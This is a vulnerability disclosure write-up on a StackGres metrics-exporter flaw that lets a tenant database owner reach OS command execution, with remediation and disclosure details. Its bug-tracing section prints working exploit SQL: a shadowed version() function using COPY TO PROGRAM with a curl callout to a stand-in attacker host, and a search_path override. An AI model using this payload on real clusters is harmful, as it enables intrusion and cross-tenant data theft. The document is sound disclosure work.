← back to research

Privileged and unqualified: a tenant-to-pod RCE in StackGres's metrics exporter

StackGres's bundled metrics exporter opens superuser sessions into every tenant database and runs unqualified catalog SQL with no search_path pinning, so a tenant database owner can shadow a function and reach OS command execution in the primary Postgres pod.


StackGres is OnGres’s open-source, full-stack PostgreSQL distribution for Kubernetes: the operator a great many teams use to run multi-tenant Postgres, one database per customer or team on a shared cluster. By default it ships a metrics exporter that scrapes each database for Prometheus. We found that the exporter connects as a cluster superuser and runs unqualified catalog SQL inside every user database without pinning its search_path, so a tenant who merely owns their own database can shadow a function the exporter calls and have it executed, as superuser, straight into OS command execution on the primary Postgres pod.

IMPORTANT

Who’s exposed. You’re affected if you run StackGres with the default metrics exporter enabled (all 1.x releases through 1.18.8, and current development HEAD bbb3d06 / 1.19.0-SNAPSHOT) and any database on the cluster is owned by a principal you would not hand a shell to: the defining shape of multi-tenant Postgres, where each tenant owns their own database. You are not affected if the metrics exporter is disabled, or if every database owner on the cluster is already as trusted as the PostgreSQL superuser (a single-tenant cluster you alone administer). The exploit needs only database-owner privileges on one database: no existing superuser access, no separate foothold.

Two things that are each defensible, and dangerous together

Nothing here is a single broken line. The vulnerability is the product of two design choices that are each individually arguable and catastrophic in combination.

The exporter is a superuser. It connects to PostgreSQL as a cluster superuser and never demotes: no SET ROLE, no dedicated pg_monitor role (PostgresExporter.java:116-117,132-137). From there it fans out, opening a dblink session into every user database on each scrape (prometheus-postgres-exporter/queries.yaml). So a privileged session reaches into databases whose contents (and whose schema objects) are controlled by the tenant.

The remote SQL is unqualified. The queries it runs in those sessions reference catalog functions and tables by bare name. The pg_table_bloat collector (queries.yaml:514-583) calls version(), current_setting(), and bare catalog tables with no schema qualification and no search_path set on the session. In a trusted database that is merely untidy. In a database whose owner is the adversary, an unqualified name is an injection point: whoever controls name resolution controls what runs.

The model is sound everywhere the two don’t meet. A superuser running fully schema-qualified SQL would be fine. A monitoring role with no privileges running unqualified SQL would be fine. It is the intersection (a superuser session resolving unqualified names inside an attacker-controlled namespace) that is the bug. This is the classic Postgres search_path confused deputy (CVE-2018-1058), here handed superuser and pointed at every tenant.

tenant owner plantsshadow version() and setssearch_pathPrometheus scrapeexporter opens superuserdblink, no role demotionunqualified catalog SQLresolves under tenantsearch_pathtenant's shadow objectruns in the superusersessionCOPY TO PROGRAM: OScommand exec in theprimary pod
The exporter's superuser session resolves an unqualified name under the tenant's search_path.

The bug, traced through a scrape

PostgreSQL resolves an unqualified name by walking search_path in order. It implicitly searches pg_catalog first only when pg_catalog is not named explicitly: the moment a session’s search_path lists schemas explicitly, pg_catalog is consulted in the position it appears, and any schema listed ahead of it wins. A database owner can set that path at the database level, and it applies to every session that connects to the database, including the exporter’s.

So the tenant, owning database tenantdb, does two things. First, define a function in their own schema with the exact name and signature the exporter will call unqualified (version() returns text, takes no arguments) and have it do the damage. COPY ... TO PROGRAM runs a shell command as the OS user of the Postgres process, and is permitted because the caller is the exporter’s superuser session:

-- as the owner of tenantdb (no superuser needed)
create or replace function public.version() returns text
language plpgsql as $$
begin
  copy (select 1) to program
    'id > /tmp/pwned 2>&1; curl -s https://attacker.example/$(hostname)';
  return 'PostgreSQL 16.0';   -- return something plausible so the scrape proceeds
end $$;

Second, pin the database’s search_path so the exporter resolves version() to this one rather than the builtin, public ahead of pg_catalog:

alter database tenantdb set search_path = public, pg_catalog;

Now nothing else is required. On the next Prometheus scrape, the exporter opens its superuser dblink into tenantdb, runs the pg_table_bloat query, and resolves the unqualified version() to public.version(). The tenant’s function body executes in the superuser session, COPY ... TO PROGRAM spawns the command, and the attacker has code execution as the database OS user inside the primary Postgres pod. version() is the cleanest shadow, but it is not the only one: current_setting() and the other unqualified references in the same query family are equally shadowable.

Impact

This is OS command execution in the primary PostgreSQL pod, running as the database process’s OS user, reached from nothing more than database-owner privileges on a single tenant database. From a shell in that pod the blast radius is the whole data plane: the superuser’s databases, the cluster’s secrets and service-account token mounted in the pod, and lateral movement from there. In the multi-tenant deployments StackGres is built for, that is one customer reaching the operator’s own privilege level and every other tenant’s data. We score it CVSS 9.4 (Critical), CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H: low attacker privilege (a tenant database owner), no user interaction, and full confidentiality, integrity, and availability loss extending beyond the vulnerable component.

Reachability

This is not unauthenticated. It requires a foothold:

PreconditionNeeded?
The default metrics exporter is enabledyes: disabling it removes the path
Attacker owns (or can create objects in) a database on the clusteryes: the privilege floor is database owner
Attacker can set a database- or role-level search_pathyes: a database owner can
Existing superuser / cluster accessno: the exporter supplies the privilege
User interaction, or a victim actionno: the periodic scrape is the trigger

The trigger is automatic: the exporter scrapes on a schedule, so the attacker plants the function and waits for the next scrape. The privilege escalation (tenant to superuser) is the whole point of the finding; the precondition is exactly the trust boundary a managed multi-tenant platform exists to enforce.

Remediation

If you maintain the code. The fix is to break the superuser-plus-unqualified intersection at both ends, and both are worth doing:

  • Run the exporter as a dedicated, non-superuser role granted only pg_monitor, instead of connecting as a cluster superuser. A monitoring role cannot COPY ... TO PROGRAM, so a shadowed function gains nothing.
  • Schema-qualify every catalog reference in the remote SQL (pg_catalog.version(), pg_catalog.current_setting(), pg_catalog.pg_class, and so on) so name resolution can’t be redirected.
  • As defense in depth, prefix each remote dblink body with SET search_path = pg_catalog; so the session never inherits a tenant-controlled path.

Any one of these closes it; together they are belt and braces. The role demotion is the most important: it removes the dangerous primitive even if an unqualified reference is missed later.

If you operate it. The fix has shipped in the StackGres 1.19.0 release-candidate line (first in 1.19.0-rc1), which demotes the exporter to a low-privilege monitor role and routes its dblink calls through SECURITY DEFINER connect functions. No stable 1.19.0 is out yet, so until one you can run in production ships:

  • If you don’t need the bundled Prometheus exporter, disable it. StackGres exposes the metrics exporter as a cluster setting; turning it off removes the scrape path entirely. Confirm the exact field against your version’s CRD before applying.
  • Until you can disable or patch, treat database owner as a privilege boundary equivalent to superuser. On a cluster with untrusted tenants it currently is one: anyone who can create a function and set search_path in any database can reach the primary pod. Restrict who can own databases and create schema objects accordingly.
  • Watch for the tell: a tenant function shadowing a catalog name (version, current_setting), or unexpected COPY ... TO PROGRAM / program access in the Postgres logs around scrape intervals.

Disclosure

  • Software: StackGres 1.x through 1.18.8, and development HEAD bbb3d06 (1.19.0-SNAPSHOT), with the default metrics exporter enabled.
  • Class: search_path confused deputy, the same class as CVE-2018-1058, escalated here to OS command execution.
  • Severity: Critical, CVSS 9.4 (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H).
  • CVE: requested; assignment pending.
  • Fix: shipped in the 1.19.0 release-candidate line (first in 1.19.0-rc1), which runs the exporter as a low-privilege monitor role and routes its dblink calls through SECURITY DEFINER connect functions. No stable 1.19.0 GA at the time of writing. Reported to OnGres (the StackGres maintainers) with the role-demotion and schema-qualification fixes above.
  • Reported by: Cipher / Causal Security.

All testing was in a self-contained lab against a StackGres cluster we controlled; the tenant and the triggering objects are synthetic.

Why we look at the platform’s own privileged clients

A managed-database platform spends most of its security attention on the data plane: RLS, grants, network policy between tenants. But the platform also runs its own automation inside tenant space: exporters, backup jobs, health checks, the operator’s reconcilers. Each of those is a privileged client that crosses from the control plane into a namespace the tenant controls, and each one resolves names: a function, a table, a path, a host. We call the failure here unpinned trust: wherever a privileged actor resolves an unqualified name in a namespace an attacker can write to, the trust is unpinned, and whoever controls the namespace controls what runs. search_path is one such namespace; PATH, the Java classpath, and DNS are others with the same shape. The method is not a from-scratch audit. It is an enumeration: list every privileged automated session the platform opens into tenant-controlled space, and for each one ask whether its name resolution is pinned. The exporter’s was not. That gap is the bug.


This work is part of our ongoing vulnerability research into the open-source cloud-native data infrastructure that everyone else builds on.